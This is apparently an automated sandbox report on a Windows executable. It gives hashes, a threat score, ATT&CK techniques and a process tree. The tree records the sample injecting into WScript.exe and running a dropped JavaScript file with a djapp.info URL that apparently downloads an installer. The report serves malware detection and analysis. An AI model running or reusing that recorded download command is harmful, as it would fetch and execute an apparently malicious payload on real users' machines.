ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac

General

Target

ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac.exe
Size

184KB
MD5

2275a31d17640d7499bbcffd31bcd049
SHA1

95cf4a357c487daf5e6c587da9a640ec4448849b
SHA256

ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac
SHA512

ae8989d2164612a12cf5bf074dc5143c33701ca0cfd6436ddc213520b9c926049205076e7533adac117d4a76848c5660926c1d45de5ddfca653c427611a80686
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3O:/7BSH8zUB+nGESaaRvoB7FJNndnP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 10 IoCs

flow	pid	Process
5	1324	WScript.exe
6	1324	WScript.exe
9	5060	WScript.exe
10	5060	WScript.exe
20	4292	WScript.exe
21	4292	WScript.exe
23	3904	WScript.exe
24	3904	WScript.exe
35	3100	WScript.exe
36	3100	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2400	2320	WerFault.exe	83

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac.exe

Script User-Agent 5 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	20	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	23	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	35	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	5	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2320 wrote to memory of 1324	2320	ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac.exe	84
PID 2320 wrote to memory of 1324	2320	ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac.exe	84
PID 2320 wrote to memory of 1324	2320	ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac.exe	84
PID 2320 wrote to memory of 5060	2320	ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac.exe	85
PID 2320 wrote to memory of 5060	2320	ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac.exe	85
PID 2320 wrote to memory of 5060	2320	ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac.exe	85
PID 2320 wrote to memory of 4292	2320	ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac.exe	86
PID 2320 wrote to memory of 4292	2320	ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac.exe	86
PID 2320 wrote to memory of 4292	2320	ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac.exe	86
PID 2320 wrote to memory of 3904	2320	ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac.exe	87
PID 2320 wrote to memory of 3904	2320	ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac.exe	87
PID 2320 wrote to memory of 3904	2320	ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac.exe	87
PID 2320 wrote to memory of 3100	2320	ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac.exe	89
PID 2320 wrote to memory of 3100	2320	ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac.exe	89
PID 2320 wrote to memory of 3100	2320	ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac.exe	89

C:\Users\Admin\AppData\Local\Temp\ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac.exe
"C:\Users\Admin\AppData\Local\Temp\ab919bc80d1e8c97b736d630750befed311d940248ca2b9b14caf517df7deeac.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2320
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufBCEC.js" http://www.djapp.info/?domain=JKLKyTMrEh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fufBCEC.exe
  2⤵
  - Blocklisted process makes network request
  PID:1324
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufBCEC.js" http://www.djapp.info/?domain=JKLKyTMrEh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fufBCEC.exe
  2⤵
  - Blocklisted process makes network request
  PID:5060
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufBCEC.js" http://www.djapp.info/?domain=JKLKyTMrEh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fufBCEC.exe
  2⤵
  - Blocklisted process makes network request
  PID:4292
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufBCEC.js" http://www.djapp.info/?domain=JKLKyTMrEh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fufBCEC.exe
  2⤵
  - Blocklisted process makes network request
  PID:3904
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufBCEC.js" http://www.djapp.info/?domain=JKLKyTMrEh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fufBCEC.exe
  2⤵
  - Blocklisted process makes network request
  PID:3100
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2320 -s 1444
  2⤵
  - Program crash
  PID:2400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 2320 -ip 2320
1⤵
PID:2280

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\fufBCEC.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
memory/1324-132-0x0000000000000000-mapping.dmp

Download
memory/3100-137-0x0000000000000000-mapping.dmp

Download
memory/3904-136-0x0000000000000000-mapping.dmp

Download
memory/4292-135-0x0000000000000000-mapping.dmp

Download
memory/5060-134-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing